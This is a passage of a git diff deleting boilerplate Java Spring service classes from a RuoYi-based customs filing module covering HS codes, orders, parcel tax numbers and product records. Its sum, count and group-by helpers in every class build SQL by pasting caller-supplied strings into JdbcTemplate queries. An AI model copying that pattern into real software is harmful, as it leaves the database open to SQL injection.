com.baomidou.mybatisplus.core.toolkit.support.SFunction; -import java.util.HashMap; -import com.ruoyi.common.utils.StringUtils; -import com.alibaba.fastjson.JSONArray; -import java.util.List; -import java.util.Map; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import com.ruoyi.custom.mapper.CustomHsCodeMapper; -import com.ruoyi.custom.domain.CustomHsCode; -import com.ruoyi.custom.domain.CustomHsCodePlus; -import com.ruoyi.custom.service.ICustomHsCodeService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -/** - * HS编码Service业务层处理 - * - * @author luqj - * @date 2021-10-23 - */ -@Service -public class CustomHsCodeServiceImpl extends ServiceImpl implements ICustomHsCodeService -{ - @Autowired - private CustomHsCodeMapper customHsCodeMapper; - @Autowired - private JdbcTemplate jdbcTemplate; - - @Override - public List getByIds(List ids, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).in(CustomHsCodePlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - @Override - public CustomHsCodePlus getById(Long id, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).eq(CustomHsCodePlus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction... columns) { - List list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (CustomHsCodePlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List list = this.getByIds(ids); - Map map = new HashMap<>(); - for (CustomHsCodePlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List getByIds(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper().in(CustomHsCodePlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from custom_hs_code "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" custom_hs_code "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" custom_hs_code "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - /** - * 查询HS编码 - * - * @param id HS编码ID - * @return HS编码 - */ - @Override - public CustomHsCode selectCustomHsCodeById(Long id) - { - return customHsCodeMapper.selectCustomHsCodeById(id); - } - - /** - * 查询HS编码列表 - * - * @param customHsCode HS编码 - * @return HS编码 - */ - @Override - public List selectCustomHsCodeList(CustomHsCode customHsCode) - { - return customHsCodeMapper.selectCustomHsCodeList(customHsCode); - } - - /** - * 新增HS编码 - * - * @param customHsCode HS编码 - * @return 结果 - */ - @Override - public int insertCustomHsCode(CustomHsCode customHsCode) - { - return customHsCodeMapper.insertCustomHsCode(customHsCode); - } - - /** - * 修改HS编码 - * - * @param customHsCode HS编码 - * @return 结果 - */ - @Override - public int updateCustomHsCode(CustomHsCode customHsCode) - { - return customHsCodeMapper.updateCustomHsCode(customHsCode); - } - - /** - * 批量删除HS编码 - * - * @param ids 需要删除的HS编码ID - * @return 结果 - */ - @Override - public int deleteCustomHsCodeByIds(Long[] ids) - { - return customHsCodeMapper.deleteCustomHsCodeByIds(ids); - } - - /** - * 删除HS编码信息 - * - * @param id HS编码ID - * @return 结果 - */ - @Override - public int deleteCustomHsCodeById(Long id) - { - return customHsCodeMapper.deleteCustomHsCodeById(id); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomInventoryServiceImpl.java b/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomInventoryServiceImpl.java deleted file mode 100644 index 332debf..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomInventoryServiceImpl.java +++ /dev/null @@ -1,188 +0,0 @@ -package com.ruoyi.custom.service.impl; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.github.pagehelper.PageHelper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -import java.util.HashMap; -import com.ruoyi.common.utils.StringUtils; -import com.alibaba.fastjson.JSONArray; -import java.util.List; -import java.util.Map; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import com.ruoyi.custom.mapper.CustomInventoryMapper; -import com.ruoyi.custom.domain.CustomInventory; -import com.ruoyi.custom.domain.CustomInventoryPlus; -import com.ruoyi.custom.service.ICustomInventoryService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -/** - * 正面清单Service业务层处理 - * - * @author luqj - * @date 2021-10-23 - */ -@Service -public class CustomInventoryServiceImpl extends ServiceImpl implements ICustomInventoryService -{ - @Autowired - private CustomInventoryMapper customInventoryMapper; - @Autowired - private JdbcTemplate jdbcTemplate; - - @Override - public List getByIds(List ids, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).in(CustomInventoryPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - @Override - public CustomInventoryPlus getById(Long id, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).eq(CustomInventoryPlus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction... columns) { - List list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (CustomInventoryPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List list = this.getByIds(ids); - Map map = new HashMap<>(); - for (CustomInventoryPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List getByIds(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper().in(CustomInventoryPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from custom_inventory "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" custom_inventory "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" custom_inventory "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - /** - * 查询正面清单 - * - * @param id 正面清单ID - * @return 正面清单 - */ - @Override - public CustomInventory selectCustomInventoryById(Long id) - { - return customInventoryMapper.selectCustomInventoryById(id); - } - - /** - * 查询正面清单列表 - * - * @param customInventory 正面清单 - * @return 正面清单 - */ - @Override - public List selectCustomInventoryList(CustomInventory customInventory) - { - return customInventoryMapper.selectCustomInventoryList(customInventory); - } - - /** - * 新增正面清单 - * - * @param customInventory 正面清单 - * @return 结果 - */ - @Override - public int insertCustomInventory(CustomInventory customInventory) - { - return customInventoryMapper.insertCustomInventory(customInventory); - } - - /** - * 修改正面清单 - * - * @param customInventory 正面清单 - * @return 结果 - */ - @Override - public int updateCustomInventory(CustomInventory customInventory) - { - return customInventoryMapper.updateCustomInventory(customInventory); - } - - /** - * 批量删除正面清单 - * - * @param ids 需要删除的正面清单ID - * @return 结果 - */ - @Override - public int deleteCustomInventoryByIds(Long[] ids) - { - return customInventoryMapper.deleteCustomInventoryByIds(ids); - } - - /** - * 删除正面清单信息 - * - * @param id 正面清单ID - * @return 结果 - */ - @Override - public int deleteCustomInventoryById(Long id) - { - return customInventoryMapper.deleteCustomInventoryById(id); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomOrderItemServiceImpl.java b/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomOrderItemServiceImpl.java deleted file mode 100644 index c249132..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomOrderItemServiceImpl.java +++ /dev/null @@ -1,188 +0,0 @@ -package com.ruoyi.custom.service.impl; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.github.pagehelper.PageHelper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -import java.util.HashMap; -import com.ruoyi.common.utils.StringUtils; -import com.alibaba.fastjson.JSONArray; -import java.util.List; -import java.util.Map; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import com.ruoyi.custom.mapper.CustomOrderItemMapper; -import com.ruoyi.custom.domain.CustomOrderItem; -import com.ruoyi.custom.domain.CustomOrderItemPlus; -import com.ruoyi.custom.service.ICustomOrderItemService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -/** - * 备案订单项Service业务层处理 - * - * @author luqj - * @date 2021-10-23 - */ -@Service -public class CustomOrderItemServiceImpl extends ServiceImpl implements ICustomOrderItemService -{ - @Autowired - private CustomOrderItemMapper customOrderItemMapper; - @Autowired - private JdbcTemplate jdbcTemplate; - - @Override - public List getByIds(List ids, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).in(CustomOrderItemPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - @Override - public CustomOrderItemPlus getById(Long id, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).eq(CustomOrderItemPlus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction... columns) { - List list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (CustomOrderItemPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List list = this.getByIds(ids); - Map map = new HashMap<>(); - for (CustomOrderItemPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List getByIds(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper().in(CustomOrderItemPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from custom_order_item "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" custom_order_item "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" custom_order_item "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - /** - * 查询备案订单项 - * - * @param id 备案订单项ID - * @return 备案订单项 - */ - @Override - public CustomOrderItem selectCustomOrderItemById(Long id) - { - return customOrderItemMapper.selectCustomOrderItemById(id); - } - - /** - * 查询备案订单项列表 - * - * @param customOrderItem 备案订单项 - * @return 备案订单项 - */ - @Override - public List selectCustomOrderItemList(CustomOrderItem customOrderItem) - { - return customOrderItemMapper.selectCustomOrderItemList(customOrderItem); - } - - /** - * 新增备案订单项 - * - * @param customOrderItem 备案订单项 - * @return 结果 - */ - @Override - public int insertCustomOrderItem(CustomOrderItem customOrderItem) - { - return customOrderItemMapper.insertCustomOrderItem(customOrderItem); - } - - /** - * 修改备案订单项 - * - * @param customOrderItem 备案订单项 - * @return 结果 - */ - @Override - public int updateCustomOrderItem(CustomOrderItem customOrderItem) - { - return customOrderItemMapper.updateCustomOrderItem(customOrderItem); - } - - /** - * 批量删除备案订单项 - * - * @param ids 需要删除的备案订单项ID - * @return 结果 - */ - @Override - public int deleteCustomOrderItemByIds(Long[] ids) - { - return customOrderItemMapper.deleteCustomOrderItemByIds(ids); - } - - /** - * 删除备案订单项信息 - * - * @param id 备案订单项ID - * @return 结果 - */ - @Override - public int deleteCustomOrderItemById(Long id) - { - return customOrderItemMapper.deleteCustomOrderItemById(id); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomOrderServiceImpl.java b/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomOrderServiceImpl.java deleted file mode 100644 index 37637ec..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomOrderServiceImpl.java +++ /dev/null @@ -1,225 +0,0 @@ -package com.ruoyi.custom.service.impl; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.github.pagehelper.PageHelper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -import java.util.HashMap; -import com.ruoyi.common.utils.StringUtils; -import com.alibaba.fastjson.JSONArray; -import java.util.List; -import java.util.Map; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import java.util.ArrayList; -import com.ruoyi.common.utils.StringUtils; -import org.springframework.transaction.annotation.Transactional; -import com.ruoyi.custom.domain.CustomOrderItem; -import com.ruoyi.custom.mapper.CustomOrderMapper; -import com.ruoyi.custom.domain.CustomOrder; -import com.ruoyi.custom.domain.CustomOrderPlus; -import com.ruoyi.custom.service.ICustomOrderService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -/** - * 备案订单Service业务层处理 - * - * @author luqj - * @date 2021-10-23 - */ -@Service -public class CustomOrderServiceImpl extends ServiceImpl implements ICustomOrderService -{ - @Autowired - private CustomOrderMapper customOrderMapper; - @Autowired - private JdbcTemplate jdbcTemplate; - - @Override - public List getByIds(List ids, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).in(CustomOrderPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - @Override - public CustomOrderPlus getById(Long id, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).eq(CustomOrderPlus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction... columns) { - List list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (CustomOrderPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List list = this.getByIds(ids); - Map map = new HashMap<>(); - for (CustomOrderPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List getByIds(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper().in(CustomOrderPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from custom_order "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" custom_order "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" custom_order "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - /** - * 查询备案订单 - * - * @param id 备案订单ID - * @return 备案订单 - */ - @Override - public CustomOrder selectCustomOrderById(Long id) - { - return customOrderMapper.selectCustomOrderById(id); - } - - /** - * 查询备案订单列表 - * - * @param customOrder 备案订单 - * @return 备案订单 - */ - @Override - public List selectCustomOrderList(CustomOrder customOrder) - { - return customOrderMapper.selectCustomOrderList(customOrder); - } - - /** - * 新增备案订单 - * - * @param customOrder 备案订单 - * @return 结果 - */ - @Transactional - @Override - public int insertCustomOrder(CustomOrder customOrder) - { - int rows = customOrderMapper.insertCustomOrder(customOrder); - insertCustomOrderItem(customOrder); - return rows; - } - - /** - * 修改备案订单 - * - * @param customOrder 备案订单 - * @return 结果 - */ - @Transactional - @Override - public int updateCustomOrder(CustomOrder customOrder) - { - customOrderMapper.deleteCustomOrderItemByOrderId(customOrder.getId()); - insertCustomOrderItem(customOrder); - return customOrderMapper.updateCustomOrder(customOrder); - } - - /** - * 批量删除备案订单 - * - * @param ids 需要删除的备案订单ID - * @return 结果 - */ - @Transactional - @Override - public int deleteCustomOrderByIds(Long[] ids) - { - customOrderMapper.deleteCustomOrderItemByOrderIds(ids); - return customOrderMapper.deleteCustomOrderByIds(ids); - } - - /** - * 删除备案订单信息 - * - * @param id 备案订单ID - * @return 结果 - */ - @Override - public int deleteCustomOrderById(Long id) - { - customOrderMapper.deleteCustomOrderItemByOrderId(id); - return customOrderMapper.deleteCustomOrderById(id); - } - - /** - * 新增备案订单项信息 - * - * @param customOrder 备案订单对象 - */ - public void insertCustomOrderItem(CustomOrder customOrder) - { - List customOrderItemList = customOrder.getCustomOrderItemList(); - Long id = customOrder.getId(); - if (StringUtils.isNotNull(customOrderItemList)) - { - List list = new ArrayList(); - for (CustomOrderItem customOrderItem : customOrderItemList) - { - customOrderItem.setOrderId(id); - list.add(customOrderItem); - } - if (list.size() > 0) - { - customOrderMapper.batchCustomOrderItem(list); - } - } - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomParcelNumberServiceImpl.java b/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomParcelNumberServiceImpl.java deleted file mode 100644 index fdfe863..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomParcelNumberServiceImpl.java +++ /dev/null @@ -1,190 +0,0 @@ -package com.ruoyi.custom.service.impl; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.github.pagehelper.PageHelper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -import java.util.HashMap; -import com.ruoyi.common.utils.StringUtils; -import com.alibaba.fastjson.JSONArray; -import java.util.List; -import java.util.Map; -import com.ruoyi.common.utils.DateUtils; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import com.ruoyi.custom.mapper.CustomParcelNumberMapper; -import com.ruoyi.custom.domain.CustomParcelNumber; -import com.ruoyi.custom.domain.CustomParcelNumberPlus; -import com.ruoyi.custom.service.ICustomParcelNumberService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -/** - * 行邮税号Service业务层处理 - * - * @author luqj - * @date 2021-10-23 - */ -@Service -public class CustomParcelNumberServiceImpl extends ServiceImpl implements ICustomParcelNumberService -{ - @Autowired - private CustomParcelNumberMapper customParcelNumberMapper; - @Autowired - private JdbcTemplate jdbcTemplate; - - @Override - public List getByIds(List ids, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).in(CustomParcelNumberPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - @Override - public CustomParcelNumberPlus getById(Long id, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).eq(CustomParcelNumberPlus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction... columns) { - List list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (CustomParcelNumberPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List list = this.getByIds(ids); - Map map = new HashMap<>(); - for (CustomParcelNumberPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List getByIds(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper().in(CustomParcelNumberPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from custom_parcel_number "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" custom_parcel_number "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" custom_parcel_number "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - /** - * 查询行邮税号 - * - * @param id 行邮税号ID - * @return 行邮税号 - */ - @Override - public CustomParcelNumber selectCustomParcelNumberById(Long id) - { - return customParcelNumberMapper.selectCustomParcelNumberById(id); - } - - /** - * 查询行邮税号列表 - * - * @param customParcelNumber 行邮税号 - * @return 行邮税号 - */ - @Override - public List selectCustomParcelNumberList(CustomParcelNumber customParcelNumber) - { - return customParcelNumberMapper.selectCustomParcelNumberList(customParcelNumber); - } - - /** - * 新增行邮税号 - * - * @param customParcelNumber 行邮税号 - * @return 结果 - */ - @Override - public int insertCustomParcelNumber(CustomParcelNumber customParcelNumber) - { - return customParcelNumberMapper.insertCustomParcelNumber(customParcelNumber); - } - - /** - * 修改行邮税号 - * - * @param customParcelNumber 行邮税号 - * @return 结果 - */ - @Override - public int updateCustomParcelNumber(CustomParcelNumber customParcelNumber) - { - customParcelNumber.setUpdateTime(DateUtils.getNowDate()); - return customParcelNumberMapper.updateCustomParcelNumber(customParcelNumber); - } - - /** - * 批量删除行邮税号 - * - * @param ids 需要删除的行邮税号ID - * @return 结果 - */ - @Override - public int deleteCustomParcelNumberByIds(Long[] ids) - { - return customParcelNumberMapper.deleteCustomParcelNumberByIds(ids); - } - - /** - * 删除行邮税号信息 - * - * @param id 行邮税号ID - * @return 结果 - */ - @Override - public int deleteCustomParcelNumberById(Long id) - { - return customParcelNumberMapper.deleteCustomParcelNumberById(id); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomProductRecordServiceImpl.java b/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomProductRecordServiceImpl.java deleted file mode 100644 index 407f8e7..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomProductRecordServiceImpl.java +++ /dev/null @@ -1,190 +0,0 @@ -package com.ruoyi.custom.service.impl; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.github.pagehelper.PageHelper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -import java.util.HashMap; -import com.ruoyi.common.utils.StringUtils; -import com.alibaba.fastjson.JSONArray; -import java.util.List; -import java.util.Map; -import com.ruoyi.common.utils.DateUtils; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import com.ruoyi.custom.mapper.CustomProductRecordMapper; -import com.ruoyi.custom.domain.CustomProductRecord; -import com.ruoyi.custom.domain.CustomProductRecordPlus; -import com.ruoyi.custom.service.ICustomProductRecordService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -/** - * 商品备案Service业务层处理 - * - * @author luqj - * @date 2021-10-23 - */ -@Service -public class CustomProductRecordServiceImpl extends ServiceImpl implements ICustomProductRecordService -{ - @Autowired - private CustomProductRecordMapper customProductRecordMapper; - @Autowired - private JdbcTemplate jdbcTemplate; - - @Override - public List getByIds(List ids, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).in(CustomProductRecordPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - @Override - public CustomProductRecordPlus getById(Long id, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).eq(CustomProductRecordPlus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction... columns) { - List list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (CustomProductRecordPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List list = this.getByIds(ids); - Map map = new HashMap<>(); - for (CustomProductRecordPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List getByIds(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper().in(CustomProductRecordPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from custom_product_record "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" custom_product_record "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" custom_product_record "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - /** - * 查询商品备案 - * - * @param id 商品备案ID - * @return 商品备案 - */ - @Override - public CustomProductRecord selectCustomProductRecordById(Long id) - { - return customProductRecordMapper.selectCustomProductRecordById(id); - } - - /** - * 查询商品备案列表 - * - * @param customProductRecord 商品备案 - * @return 商品备案 - */ - @Override - public List selectCustomProductRecordList(CustomProductRecord customProductRecord) - { - return 